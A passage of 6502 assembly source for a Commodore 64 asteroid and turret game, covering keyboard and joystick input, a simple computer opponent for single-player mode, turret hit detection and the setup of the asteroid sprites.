#SHIP_MAX_SPEED+1 // compare new spead with max +1 bne SkipAsteroidMin // if we haven't reached max + 1 then skip setting to min lda #SHIP_MIN_SPEED // else, we have reached max+1 so need to reset it back min sta asteroid_1.y_vel SkipAsteroidMin: // check if its time for a black hole lda change_up_counter and #$07 bne NoHole jsr HoleStart jsr SoundPlayHoleFX nv_adc16x_mem_immed(frame_counter, HOLE_SOUND_FRAMES, astro_hole_restart_sound_frame) NoHole: // revive all the disabled astroids CheckDisabled: jsr asteroid_1.LoadEnabledToA bne CheckAster2 lda #130 sta asteroid_1.y_loc jsr asteroid_1.Enable CheckAster2: jsr asteroid_2.LoadEnabledToA bne CheckAster3 lda #130 sta asteroid_2.y_loc jsr asteroid_2.Enable CheckAster3: jsr asteroid_3.LoadEnabledToA bne CheckAster4 lda #130 sta asteroid_3.y_loc jsr asteroid_3.Enable CheckAster4: jsr asteroid_4.LoadEnabledToA bne CheckAster5 lda #130 sta asteroid_4.y_loc jsr asteroid_4.Enable CheckAster5: jsr asteroid_5.LoadEnabledToA bne DoneCheckingDisabledAsteroids lda #130 sta asteroid_5.y_loc jsr asteroid_5.Enable DoneCheckingDisabledAsteroids: rts } ////////////////////////////////////////////////////////////////////////////// // Accum: holds ship number to shield DoShield: { tay jsr ShipShieldIsActive bne AlreadyShieldActive tya jsr ShipShieldStart AlreadyShieldActive: rts } // ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // subroutine to Pause DoPause: { jsr SoundMuteOn nv_key_wait_any_key() jsr SoundMuteOff rts } ////////////////////////////////////////////////////////////////////////////// // subroutine to do all the keyboard stuff DoKeyboard: { nv_key_scan() lda key_cool_counter beq NotInCoolDown // not in keyboard cooldown, go scan dec key_cool_counter // in keyboard cooldown, dec the cntr jmp DoneKeys // and jmp to skip rest of routine NotInCoolDown: nv_key_get_last_pressed_a() // get key pressed in accum //nv_debug_print_char_a(5, 0) //nv_debug_print_byte_a(5, 5, // true, false) cmp #NV_KEY_NO_KEY // check if any key hit bne HaveKey jmp DoneKeys // no key hit, skip to end HaveKey: ldy #KEY_COOL_DURATION // had a key, start cooldown counter sty key_cool_counter .if (DEBUG_KEYS_ON) { TryShip1SlowX: cmp #KEY_SHIP1_SLOW_X // check ship1 slow down X key bne TryShip1FastX // wasn't A key, try D key WasShip1SlowX: jsr ship_1.DecVelX // slow down the ship X jmp DoneKeys // and skip to bottom TryShip1FastX: cmp #KEY_SHIP1_FAST_X // check ship1 speed up x key bne TryTransitionKeys // not speed up x key, skip to bottom WasShip1FastX: ldx wind_count bne CantIncBecuaseWind jsr ship_1.IncVelX // inc the ship X velocity CantIncBecuaseWind: jmp DoneKeys // and skip to bottom } ////// // no repeat key presses handled here, only transition keys below this line // if its a repeat key press then we'll ignore it. TryTransitionKeys: nv_key_get_prev_pressed_y() // previous key pressed to Y reg sty scratch_byte // then to scratch reg to compare with accum cmp scratch_byte // if prev key == last key then done with keys bne NotDoneKeys jmp DoneKeys NotDoneKeys: TryPause: cmp #KEY_PAUSE // check the pause key bne DonePauseKey // not speed up x key, skip to bottom WasPause: jsr DoPause // jsr to the pause subroutine jmp DoneKeys // and skip to bottom DonePauseKey: .if (DEBUG_KEYS_ON) { TryIncBorder: cmp #KEY_INC_BORDER_COLOR bne TryDecBorder WasIncBorderColor: inc border_color nv_screen_set_border_color_mem(border_color) jmp DoneKeys // and skip to bottom TryDecBorder: cmp #KEY_DEC_BORDER_COLOR bne TryIncBackground WasDecBorderColor: dec border_color nv_screen_set_border_color_mem(border_color) jmp DoneKeys // and skip to bottom TryIncBackground: cmp #KEY_INC_BACKGROUND_COLOR bne TryDecBackground WasIncBackgroundColor: inc background_color nv_screen_set_background_color_mem(background_color) jmp DoneKeys // and skip to bottom TryDecBackground: cmp #KEY_DEC_BACKGROUND_COLOR bne TryIncVolume WasDecBackgroundColor: dec background_color nv_screen_set_background_color_mem(background_color) jmp DoneKeys // and skip to bottom } TryIncVolume: cmp #KEY_INC_VOLUME bne TryDecVolume WasIncVolume: jsr SoundVolumeUp jmp DoneKeys // and skip to bottom TryDecVolume: cmp #KEY_DEC_VOLUME bne DoneVolumeKeys WasDecVolume: jsr SoundVolumeDown jmp DoneKeys DoneVolumeKeys: .if (DEBUG_KEYS_ON) { TryExperimental02: cmp #KEY_EXPERIMENTAL_02 bne TryExperimental03 WasExperimental02: lda #TURRET_3_ID ora #TURRET_6_ID jsr TurretStartIfArmed jmp DoneKeys TryExperimental03: cmp #KEY_EXPERIMENTAL_03 bne TryExperimental04 WasExperimental03: lda #TURRET_2_ID ora #TURRET_5_ID jsr TurretStartIfArmed jmp DoneKeys TryExperimental04: cmp #KEY_EXPERIMENTAL_04 bne TryExperimental01 WasExperimental04: lda #TURRET_4_ID ora #TURRET_1_ID jsr TurretStartIfArmed jmp DoneKeys TryExperimental01: cmp #KEY_EXPERIMENTAL_01 bne TryExperimental05 WasExperimental01: jsr WindStart jmp DoneKeys TryExperimental05: cmp #KEY_EXPERIMENTAL_05 bne TryExperimental06 WasExperimental05: //jsr SlowMoStart lda #$01 jsr DoShield jmp DoneKeys TryExperimental06: cmp #KEY_EXPERIMENTAL_06 bne TryQuit WasExperimental06: jsr HoleStart jsr SoundPlayHoleFX nv_adc16x_mem_immed(frame_counter, HOLE_SOUND_FRAMES, astro_hole_restart_sound_frame) jmp DoneKeys } TryQuit: cmp #KEY_QUIT // check quit key bne DoneKeys // not quit key, skip to bottom WasQuit: lda #1 // set the quit flag sta quit_flag DoneKeys: rts } astro_hole_restart_sound_frame: .word 00 // DoKeyboard - end ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // subroutine to process joystick input DoJoystick: { jsr JoyScan Joy1TryFire: ldx #JOY_PORT_1_ID jsr JoyIsFiring beq Joy1NotFiring Joy1IsFiring: lda astro_joy1_no_fire_flag beq Joy2TryFire jsr TurretLdaSmartFireBottomID jsr TurretStartIfArmed jmp Joy2TryFire Joy1NotFiring: jsr TurretCurrentlyArmedLda beq Joy2TryFire // here the joy stick not firing but turret is armed // set the not firing flag lda #$01 sta astro_joy1_no_fire_flag // fall through to joy2tryfire Joy2TryFire: jsr Player2CheckFire Joy1TryLeft: ldx #JOY_PORT_1_ID jsr JoyIsLeft beq Joy1TryRight Joy1IsLeft: jsr ship_1.DecVelX // slow down the ship X jmp Joy1Done // was left, can't be right too Joy1TryRight: ldx #JOY_PORT_1_ID jsr JoyIsRight beq Joy1TryDown Joy1IsRight: ldx wind_count bne Joy1CantIncBecuaseWind jsr ship_1.IncVelX // inc the ship X velocity Joy1CantIncBecuaseWind: Joy1TryDown: ldx #JOY_PORT_1_ID jsr JoyIsDown beq Joy1Done lda #$01 jsr DoShield Joy1Done: Joy2CheckDirection: jsr Player2CheckDirection JoyDone: rts } // DoJoystick - end ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // subroutine to check if player2 is firing. If two player mode will check // joystick, if single player mode then will us "AI" to determine if should // fire the joystick Player2CheckFire: { // check for single player mode / AI first nv_beq8_immed(astro_single_player_flag, 0, Player2ManualCheckFire) jsr Player2AICheckFire rts // if get here then in two player mode, just check physical joystick Player2ManualCheckFire: Joy2TryFire: ldx #JOY_PORT_2_ID jsr JoyIsFiring beq Joy2NotFiring Joy2IsFiring: lda astro_joy2_no_fire_flag beq Done jsr TurretLdaSmartFireTopID jsr TurretStartIfArmed jmp Done Joy2NotFiring: jsr TurretCurrentlyArmedLda beq Done // here the joy stick not firing but turret is armed // set the not firing flag lda #$01 sta astro_joy2_no_fire_flag // fall through to joy1 try left Done: rts } /////////////////////////////////////////////////////////////////////////////// // fire the turret for player 2 when in Single Player Mode. Player2AICheckFire: { // the astro_ai_turret_next_shot_frame should already be set to the frame // on which the ai should fire the turret, just compare the current // frame counter with that frame to see if its time for ai to fire. nv_bgt16(astro_ai_turret_next_shot_frame, frame_counter, Done) jsr TurretLdaSmartFireTopID jsr TurretStartIfArmed Done: rts } /////////////////////////////////////////////////////////////////////////////// Player2CheckDirection: { nv_beq8_immed(astro_single_player_flag, 0, Player2ManualCheckDirection) jsr Player2AICheckDirection rts Player2ManualCheckDirection: Joy2TryLeft: ldx #JOY_PORT_2_ID jsr JoyIsLeft beq Joy2TryRight Joy2IsLeft: jsr ship_2.DecVelX // slow down the ship X jmp Joy2Done // was left cant be right too Joy2TryRight: ldx #JOY_PORT_2_ID jsr JoyIsRight beq Joy2TryDown Joy2IsRight: ldx wind_count bne Joy2CantIncBecuaseWind jsr ship_2.IncVelX // inc the ship X velocity Joy2CantIncBecuaseWind: Joy2TryDown: ldx #JOY_PORT_2_ID jsr JoyIsDown beq Joy2Done lda #$02 jsr DoShield Joy2Done: } /////////////////////////////////////////////////////////////////////////////// // fire the turret for player 2 when in Single Player Mode. // NPS Single player Player2AICheckDirection: { // set rect left to be the right most of the ship + some nv_adc16x_mem_immed(ship_2.x_loc, 40, nv_sprite_check_overlap_rect_left) // set rect top to be the ship top (y_loc) its stored as an 8 bit number so // set the high byte of the top in the rect to 0 explicitly lda ship_2.y_loc sta nv_sprite_check_overlap_rect_top lda #0 sta nv_sprite_check_overlap_rect_top + 1 nv_sbc16_mem_immed(nv_sprite_check_overlap_rect_top, 10, nv_sprite_check_overlap_rect_top) // set rect right to be 100 pixels infront of the the ship. nv_adc16x_mem_immed(nv_sprite_check_overlap_rect_left, 150, nv_sprite_check_overlap_rect_right) // set rect bottom to be the same as the ship sprite bottom + something) lda #40 nv_adc16x_mem16x_a8u(nv_sprite_check_overlap_rect_top, nv_sprite_check_overlap_rect_bottom) // now check asteroids to see if need to speed up to hit them. // note that some asteroids may be floating around but not visible. // should probably not speed up for those asteroids, although it does add some unpredictability // if its hard mode then just start checking for asteroids in front of the ship nv_beq8_immed_far(astro_diff_mode, ASTRO_DIFF_HARD, HardMode) // if we get here its medium mode or easy mode. // make the overlap rect smaller for each, start by assuming medium mode nv_sbc16_mem_immed(nv_sprite_check_overlap_rect_top, 10, nv_sprite_check_overlap_rect_top) nv_sbc16_mem_immed(nv_sprite_check_overlap_rect_left, 10, nv_sprite_check_overlap_rect_left) nv_sbc16_mem_immed(nv_sprite_check_overlap_rect_right, 40, nv_sprite_check_overlap_rect_right) nv_sbc16_mem_immed(nv_sprite_check_overlap_rect_bottom, 10, nv_sprite_check_overlap_rect_bottom) nv_beq8_immed(astro_diff_mode, ASTRO_DIFF_MED, CheckAster2) // if we get here its easy mode nv_sbc16_mem_immed(nv_sprite_check_overlap_rect_top, 10, nv_sprite_check_overlap_rect_top) nv_sbc16_mem_immed(nv_sprite_check_overlap_rect_left, 10, nv_sprite_check_overlap_rect_left) nv_sbc16_mem_immed(nv_sprite_check_overlap_rect_right, 40, nv_sprite_check_overlap_rect_right) nv_sbc16_mem_immed(nv_sprite_check_overlap_rect_bottom, 10, nv_sprite_check_overlap_rect_bottom) jmp CheckAster3 // check asteroid 1 in front of ship HardMode: jsr TurretCurrentlyArmedLda beq CheckAster1 lda #$02 jsr DoShield CheckAster1: jsr asteroid_1.LoadEnabledToA beq NoOverlapAster1 jsr asteroid_1.LoadExtraPtrToRegs jsr NvSpriteCheckOverlapRect beq NoOverlapAster1 jsr ship_2.IncVelX // inc the ship X velocity rts CheckAster2: NoOverlapAster1: // check asteroid 2 in front of ship jsr asteroid_2.LoadEnabledToA beq NoOverlapAster2 jsr asteroid_2.LoadExtraPtrToRegs jsr NvSpriteCheckOverlapRect beq NoOverlapAster2 jsr ship_2.IncVelX // inc the ship X velocity rts CheckAster3: NoOverlapAster2: // check asteroid 3 in front of ship jsr asteroid_3.LoadEnabledToA beq NoOverlapAster3 jsr asteroid_3.LoadExtraPtrToRegs jsr NvSpriteCheckOverlapRect beq NoOverlapAster3 jsr ship_2.IncVelX // inc the ship X velocity rts CheckAster4: NoOverlapAster3: // check asteroid 4 in front of shipp jsr asteroid_4.LoadEnabledToA beq NoOverlapAster4 jsr asteroid_4.LoadExtraPtrToRegs jsr NvSpriteCheckOverlapRect beq NoOverlapAster4 jsr ship_2.IncVelX // inc the ship X velocity rts CheckAster5: NoOverlapAster4: // check asteroid 5 in front of ship jsr asteroid_5.LoadEnabledToA beq NoOverlapAster5 jsr asteroid_5.LoadExtraPtrToRegs jsr NvSpriteCheckOverlapRect beq NoOverlapAster5 jsr ship_2.IncVelX // inc the ship X velocity rts NoOverlapAster5: CheckTooFast: nv_blt8_immed(ship_2.x_vel, 2, CheckTooSlow) jsr ship_2.DecVelX // inc the ship X velocity rts CheckTooSlow: // check if x vel is less than 2 and inc if it is nv_bge8_immed(ship_2.x_vel, 2, XVelOk) jsr ship_2.IncVelX // inc the ship X velocity XVelOk: Done: rts } ////////////////////////////////////////////////////////////////////////////// // call to determine if its time to start a wind gust. if it is time then // the wind will be started // This is the number of bits to consider when comparing // second counter to determine if its time for wind .const WIND_SECONDS_MASK = $0F WindCheck: { lda second_counter // load LSB of second counter and #WIND_SECONDS_MASK // zero out all but low few bits eor wind_start_mask // exclusive or with start mask beq WindCheckIsTimeToStart jmp WindCheckDone // if bits dont match mask bits then done WindCheckIsTimeToStart: // bits did match with mask, so start wind nv_rand_byte_a(true) // get new random byte for mask and #WIND_SECONDS_MASK // clear all but low few bits sta wind_start_mask // save new mask jsr WindStart // start wind WindCheckDone: rts } // WindCheck end ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // subroutine to start shooting turret if its currently armed. if not armed // then the turret will not be started // accum: must have turret ID or IDs to start. // TurretStartIfArmed: { tay // save turret ID in y reg jsr TurretCurrentlyArmedLda // check if turret is armed beq TurretNotArmedCantStart // not armed, so can't shoot TurretIsArmedCanStart: tya // get turret ID back in accum jsr TurretStart // start the turret with ID/s jsr SoundPlayTurretFireFX lda #$00 sta astro_joy1_no_fire_flag sta astro_joy2_no_fire_flag // now set the clock for when the next auto start can happen nv_adc16x(frame_counter, astro_auto_turret_wait_frames, astro_auto_turret_next_shot_frame) // in the unlikely event that next frame number is beyond the // 16 bit limit it rolls around to some small number but so does // the frame counter so that should be fine. // NPS single player // now reset the frames before auto to include different randomness nv_rand_byte_a(true) sta random_frames // assume that MSB of random_frames is still zero. nv_sbc16(astro_ai_turret_frames_before_auto_base, random_frames, astro_ai_turret_frames_before_auto) // Now set the astro_ai_turret_next_shot_frame nv_sbc16(astro_auto_turret_next_shot_frame, astro_ai_turret_frames_before_auto, astro_ai_turret_next_shot_frame) jsr TurretArmStart // start arming the turret again TurretNotArmedCantStart: rts random_frames: .word $0000 } // TurretStartIfArmed - end ////////////////////////////////////////////////////////////////////////////// .const SMART_FIRE_ZONE_1_MAX = nv_screen_rect_char_to_screen_pixel_left(25, 0) .const SMART_FIRE_ZONE_2_MAX = nv_screen_rect_char_to_screen_pixel_left(35, 0) .const SMART_FIRE_ZONE_3_MAX = nv_screen_rect_char_to_screen_pixel_left(39, 0) ////////////////////////////////////////////////////////////////////////////// // subroutine to load accum with the Turret ID to smartly choose // to shoot the top ship, based on the top ship's x position // the accum will have the ID in it upon return. TurretLdaSmartFireTopID: { TurretSmartTopTryShip1Zone1: nv_bgt16_immed(ship_1.x_loc, SMART_FIRE_ZONE_1_MAX, TurretSmartTopTryShip1Zone2) lda #TURRET_3_ID rts TurretSmartTopTryShip1Zone2: nv_bgt16_immed(ship_1.x_loc, SMART_FIRE_ZONE_2_MAX, TurretSmartTopTryShip1Zone3) lda #TURRET_2_ID rts TurretSmartTopTryShip1Zone3: lda #TURRET_1_ID rts } // TurretLdaSmartFireTopID - end ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // subroutine to load accum with the Turret ID to smartly choose // to shoot the bottom ship, based on the bottom ship's x position // accum will have the ID in it upon return. TurretLdaSmartFireBottomID: { TurretAutoTryShip2Zone1: nv_bgt16_immed(ship_2.x_loc, SMART_FIRE_ZONE_1_MAX, TurretSmartBottomTryShip2Zone2) lda #TURRET_6_ID rts TurretSmartBottomTryShip2Zone2: nv_bgt16_immed(ship_2.x_loc, SMART_FIRE_ZONE_2_MAX, TurretSmartBottomTryShip2Zone3) lda #TURRET_5_ID rts TurretSmartBottomTryShip2Zone3: lda #TURRET_4_ID rts } ////////////////////////////////////////////////////////////////////////////// // subroutine to start shooting automatically and aim at each ship based // on its x location on the screen. if turret not armed then does nothing TurretAutoStart: { jsr TurretCurrentlyArmedLda bne TurretAutoStartIsArmed jmp TurretAutoStartDone TurretAutoStartIsArmed: // turret is armed, now see if its time to fire nv_bgt16(frame_counter, astro_auto_turret_next_shot_frame, TurretAutoWaitOver) // not done waiting for autostart jmp TurretAutoStartDone TurretAutoWaitOver: // Turret is armed and the autostart wait time passed // time to fire jsr TurretLdaSmartFireTopID // get the ID to use for top sta turret_auto_top_id // store that ID jsr TurretLdaSmartFireBottomID // get the ID to use for bottom ora turret_auto_top_id // or it into the stored top ID // now Accum has a smartly selected turret ID from top and bottom // combinined via bitwise OR TurretAutoStartDoIt: // load all the turret IDs and fire turret //lda turret_auto_start_ids jsr TurretStartIfArmed TurretAutoStartDone: rts turret_auto_top_id: .byte $00 } // TurretAutoStart - end ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// CheckSpriteHitTurretBullet1: nv_sprite_check_overlap_rect_sr(turret_1_bullet_rect) ////////////////////////////////////////////////////////////////////////////// CheckSpriteHitTurretBullet2: nv_sprite_check_overlap_rect_sr(turret_2_bullet_rect) ////////////////////////////////////////////////////////////////////////////// CheckSpriteHitTurretBullet3: nv_sprite_check_overlap_rect_sr(turret_3_bullet_rect) ////////////////////////////////////////////////////////////////////////////// CheckSpriteHitTurretBullet4: nv_sprite_check_overlap_rect_sr(turret_4_bullet_rect) ////////////////////////////////////////////////////////////////////////////// CheckSpriteHitTurretBullet5: nv_sprite_check_overlap_rect_sr(turret_5_bullet_rect) ////////////////////////////////////////////////////////////////////////////// CheckSpriteHitTurretBullet6: nv_sprite_check_overlap_rect_sr(turret_6_bullet_rect) ////////////////////////////////////////////////////////////////////////////// // x and y reg have x and y screen loc for the char to check the sprite // location against TurretHitCheck: { Turret1HitCheck: lda #TURRET_1_ID jsr TurretLdaActive bne Turret1ActiveTimeToCheckRect // turret not active, try next turret jmp Turret2HitCheck Turret1ActiveTimeToCheckRect: lda #>ship_1.base_addr ldx #<ship_1.base_addr jsr CheckSpriteHitTurretBullet1 // now accum is 1 if hit or 0 if didn't //sta turret_hit_ship_1 beq Turret2HitCheck Turret1DidHit: lda #TURRET_1_ID jsr DoTurretHitShip1 Turret2HitCheck: lda #TURRET_2_ID jsr TurretLdaActive bne Turret2ActiveTimeToCheckRect // turret not active, try next turret jmp Turret3HitCheck Turret2ActiveTimeToCheckRect: lda #>ship_1.base_addr ldx #<ship_1.base_addr jsr CheckSpriteHitTurretBullet2 // now accum is 1 if hit or 0 if didn't //sta turret_hit_ship_1 beq Turret3HitCheck Turret2DidHit: lda #TURRET_2_ID jsr DoTurretHitShip1 Turret3HitCheck: lda #TURRET_3_ID jsr TurretLdaActive bne Turret3ActiveTimeToCheckRect // turret not active, try next turret jmp Turret4HitCheck Turret3ActiveTimeToCheckRect: lda #>ship_1.base_addr ldx #<ship_1.base_addr jsr CheckSpriteHitTurretBullet3 // now accum is 1 if hit or 0 if didn't beq Turret4HitCheck Turret3DidHit: lda #TURRET_3_ID jsr DoTurretHitShip1 Turret4HitCheck: lda #TURRET_4_ID jsr TurretLdaActive bne Turret4ActiveTimeToCheckRect // turret not active, try next turret jmp Turret5HitCheck Turret4ActiveTimeToCheckRect: lda #>ship_2.base_addr ldx #<ship_2.base_addr jsr CheckSpriteHitTurretBullet4 // now accum is 1 if hit or 0 if didn't //sta turret_hit_ship_1 beq Turret5HitCheck Turret4DidHit: lda #TURRET_4_ID jsr DoTurretHitShip2 Turret5HitCheck: lda #TURRET_5_ID jsr TurretLdaActive bne Turret5ActiveTimeToCheckRect // turret not active, try next turret jmp Turret6HitCheck Turret5ActiveTimeToCheckRect: lda #>ship_2.base_addr ldx #<ship_2.base_addr jsr CheckSpriteHitTurretBullet5 // now accum is 1 if hit or 0 if didn't //sta turret_hit_ship_1 beq Turret6HitCheck Turret5DidHit: lda #TURRET_5_ID jsr DoTurretHitShip2 Turret6HitCheck: lda #TURRET_6_ID jsr TurretLdaActive bne Turret6ActiveTimeToCheckRect // turret not active, try next turret jmp TurretHitCheckDone Turret6ActiveTimeToCheckRect: lda #>ship_2.base_addr ldx #<ship_2.base_addr jsr CheckSpriteHitTurretBullet6 // now accum is 1 if hit or 0 if didn't beq TurretHitCheckDone Turret6DidHit: lda #TURRET_6_ID jsr DoTurretHitShip2 TurretHitCheckDone: rts } // TurretHitCheck End ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // // Accum is turret number that hit ship DoTurretHitShip1: { // accum has turret number in it already jsr TurretForceStop lda #$01 jsr ShipShieldIsActive bne NoDeathToday lda #$01 // ship number jsr ShipDeathStart // play death sound jsr SoundPlayShipHitByTurretFX NoDeathToday: rts } // ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // // Accum is turret number that hit ship DoTurretHitShip2: { // accum has turret number in it already jsr TurretForceStop lda #2 jsr ShipShieldIsActive bne NoDeathToday lda #$02 // ship number jsr ShipDeathStart // play death sound jsr SoundPlayShipHitByTurretFX NoDeathToday: rts } // ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // Namespace with everything related to asteroid 1 .namespace asteroid_1 { .var info = nv_sprite_info_struct("asteroid_1", 1, 30, 180, -1, 0, // init x, y, VelX, VelY sprite_asteroid_1, sprite_extra, 1, 1, 1, 1, // bounce on top, left, bottom, right 0, 0, 0, 0, // min/max top, left, bottom, right 0, // sprite enabled 0, 0, 24, 21) // hitbox left, top, right, bottom .label x_loc = info.base_addr + NV_SPRITE_X_OFFSET .label y_loc = info.base_addr + NV_SPRITE_Y_OFFSET .label x_vel = info.base_addr + NV_SPRITE_VEL_X_OFFSET .label y_vel = info.base_addr + NV_SPRITE_VEL_Y_OFFSET // sprite extra data sprite_extra: nv_sprite_extra_data(info) LoadExtraPtrToRegs: lda #>info.base_addr ldx #<info.base_addr rts // subroutine to set sprites location in sprite registers based on the extra data SetLocationFromExtraData: lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetLocationFromExtra rts //nv_sprite_set_location_from_memory_sr(info.num, info.base_addr+NV_SPRITE_X_OFFSET, info.base_addr+NV_SPRITE_Y_OFFSET) // setup sprite so that it ready to be enabled and displayed Setup: lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetupFromExtra rts // move the sprite x and y location in the extra data only, not in the sprite registers // to move in the sprite registsers (and have screen reflect it) call the // SetLocationFromExtraData subroutine. MoveInExtraData: //lda #>info.base_addr //ldx #<info.base_addr //jsr NvSpriteMoveInExtra //rts nv_sprite_move_any_direction_sr(info) Enable: lda #>info.base_addr ldx #<info.base_addr nv_sprite_extra_enable_sr() Disable: lda #>info.base_addr ldx #<info.base_addr nv_sprite_extra_disable_sr() LoadEnabledToA: lda info.base_addr + NV_SPRITE_ENABLED_OFFSET rts SetBounceAllOn: .break .break nv_sprite_set_all_actions_sr(info, NV_SPRITE_ACTION_BOUNCE) SetWrapAllOn: nv_sprite_set_all_actions_sr(info, NV_SPRITE_ACTION_WRAP) } ////////////////////////////////////////////////////////////////////////////// // Namespace with everything related to asteroid 2 .namespace asteroid_2 { .var info = nv_sprite_info_struct("asteroid_2", 2, 80, 150, 1, 2, // init x, y, VelX, VelY sprite_asteroid_2, sprite_extra, 1, 1, 1, 1, // bounce on top, left, bottom, right 0, 0, 0, 0, // min/max top, left, bottom, right 0, // sprite enabled 0, 0, 24, 21) // hitbox left, top, right, bottom .label x_loc = info.base_addr + NV_SPRITE_X_OFFSET .label y_loc = info.base_addr + NV_SPRITE_Y_OFFSET .label x_vel = info.base_addr + NV_SPRITE_VEL_X_OFFSET .label y_vel = info.base_addr + NV_SPRITE_VEL_Y_OFFSET // sprite extra data sprite_extra: nv_sprite_extra_data(info) LoadExtraPtrToRegs: lda #>info.base_addr ldx #<info.base_addr rts // subroutine to set sprites location in sprite registers based on the extra data SetLocationFromExtraData: lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetLocationFromExtra rts //nv_sprite_set_location_from_memory_sr(info.num, info.base_addr+NV_SPRITE_X_OFFSET, info.base_addr+NV_SPRITE_Y_OFFSET) // setup sprite so that it ready to be enabled and displayed Setup: lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetupFromExtra rts // move the sprite x and y location in the extra data only, not in the sprite registers // to move in the sprite registsers (and have screen reflect it) call the // SetLocationFromExtraData subroutine. MoveInExtraData: //lda #>info.base_addr //ldx #<info.base_addr //jsr NvSpriteMoveInExtra //rts nv_sprite_move_any_direction_sr(info) Enable: lda #>info.base_addr ldx #<info.base_addr nv_sprite_extra_enable_sr() Disable: lda #>info.base_addr ldx #<info.base_addr nv_sprite_extra_disable_sr() LoadEnabledToA: lda info.base_addr + NV_SPRITE_ENABLED_OFFSET rts SetBounceAllOn: nv_sprite_set_all_actions_sr(info, NV_SPRITE_ACTION_BOUNCE) SetWrapAllOn: nv_sprite_set_all_actions_sr(info, NV_SPRITE_ACTION_WRAP) } ////////////////////////////////////////////////////////////////////////////// // Namespace with everything related to asteroid 3 .namespace asteroid_3 { .var info = nv_sprite_info_struct("asteroid_3", 3, 75, 200, 2, -3, // init x, y, VelX, VelY sprite_asteroid_3, sprite_extra, 1, 1, 1, 1, // bounce on top, left, bottom, right 0, 0, 0, 0, // min/max top, left, bottom, right 0, // sprite enabled 0, 0, 24, 21) // hitbox left, top, right, bottom .label x_loc = info.base_addr + NV_SPRITE_X_OFFSET .label y_loc = info.base_addr + NV_SPRITE_Y_OFFSET .label x_vel = info.base_addr + NV_SPRITE_VEL_X_OFFSET .label y_vel = info.base_addr + NV_SPRITE_VEL_Y_OFFSET // sprite extra data sprite_extra: nv_sprite_extra_data(info) LoadExtraPtrToRegs: lda #>info.base_addr ldx #<info.base_addr rts // subroutine to set sprites location in sprite registers based on the extra data SetLocationFromExtraData: lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetLocationFromExtra rts //nv_sprite_set_location_from_memory_sr(info.num, info.base_addr+NV_SPRITE_X_OFFSET, info.base_addr+NV_SPRITE_Y_OFFSET) // setup sprite so that it ready to be enabled and displayed Setup: lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetupFromExtra rts // move the sprite x and y location in the extra data only, not in the sprite registers // to move in the sprite registsers (and have screen reflect it) call the // SetLocationFromExtraData subroutine. MoveInExtraData: //lda #>info.base_addr //ldx #<info.base_addr //jsr NvSpriteMoveInExtra //rts nv_sprite_move_any_direction_sr(info) Enable: lda #>info.base_addr ldx #<info.base_addr nv_sprite_extra_enable_sr() Disable: lda #>info.base_addr ldx #<info.base_addr nv_sprite_extra_disable_sr() LoadEnabledToA: lda info.base_addr + NV_SPRITE_ENABLED_OFFSET rts SetBounceAllOn: nv_sprite_set_all_actions_sr(info, NV_SPRITE_ACTION_BOUNCE) SetWrapAllOn: nv_sprite_set_all_actions_sr(info, NV_SPRITE_ACTION_WRAP) } ////////////////////////////////////////////////////////////////////////////// // Namespace with everything related to asteroid 4 .namespace asteroid_4 { .var info = nv_sprite_info_struct("asteroid_4", 4, 255, 155, 1, 1, // init x, y, VelX, VelY sprite_asteroid_4, sprite_extra, 0, 0, 0, 0, // bounce on top, left, bottom, right 0, 0, 0, 0, // min/max top, left, bottom, right 0, // sprite enabled 0, 0, 24, 21) // hitbox left, top, right, bottom .label x_loc = info.base_addr + NV_SPRITE_X_OFFSET .label y_loc = info.base_addr + NV_SPRITE_Y_OFFSET .label x_vel = info.base_addr + NV_SPRITE_VEL_X_OFFSET .label y_vel = info.base_addr + NV_SPRITE_VEL_Y_OFFSET // sprite extra data sprite_extra: nv_sprite_extra_data(info) LoadExtraPtrToRegs: lda #>info.base_addr ldx #<info.base_addr rts // subroutine to set sprites location in sprite registers based on the extra data SetLocationFromExtraData: lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetLocationFromExtra rts //nv_sprite_set_location_from_memory_sr(info.num, info.base_addr+NV_SPRITE_X_OFFSET, info.base_addr+NV_SPRITE_Y_OFFSET) // setup sprite so that it ready to be enabled and displayed Setup: lda #>info.base_addr ldx #<info.base_addr jsr NvSpriteSetupFromExtra rts // move the sprite x and y location in the extra data only, not in the sprite registers // to move in the sprite registsers (and have screen reflect it) call the // SetLocationFromExtraData subroutine. MoveInExtraData: //lda #>info.base_addr //ldx #<info.base_addr //jsr NvSpriteMoveInExtra //rts nv_sprite_move_any_direction_sr(info) Enable: lda #>info.base_addr ldx #<info.base_addr nv_sprite_extra_enable_sr() Disable: lda #>info.base_addr ldx #<info.base_addr nv_sprite_extra_disable_sr() LoadEnabledToA: lda info.base_addr + NV_SPRITE_ENABLED_OFFSET rts SetBounceAllOn: nv_sprite_set_all_actions_sr(info, NV_SPRITE_ACTION_BOUNCE) SetWrapAllOn: nv_sprite_set_all_actions_sr(info, NV_SPRITE_ACTION_WRAP) } ////////////////////////////////////////////////////////////////////////////// // Namespace with everything related to asteroid 5 .namespace asteroid_5 { .var info = nv_sprite_info_struct("asteroid_5", 5, 85, 76, -2, -1, // init x, y, VelX, VelY sprite_asteroid_5, sprite_extra, 0, 0, 0, 0, // bounce on top, left, bottom, right 0, 0, 0, 0, // min/max top, left, bottom, right 0, // sprite enabled 0, 0, 24, 21) // hitbox left, top, right, bottom .label x_loc = info.base_addr + NV_SPRITE_X_OFFSET .label y_loc = info.base_addr + NV_SPRITE_Y_OFFSET .label x_vel = info.base_addr + NV_SPRITE_VEL_X_OFFSET .label y_vel 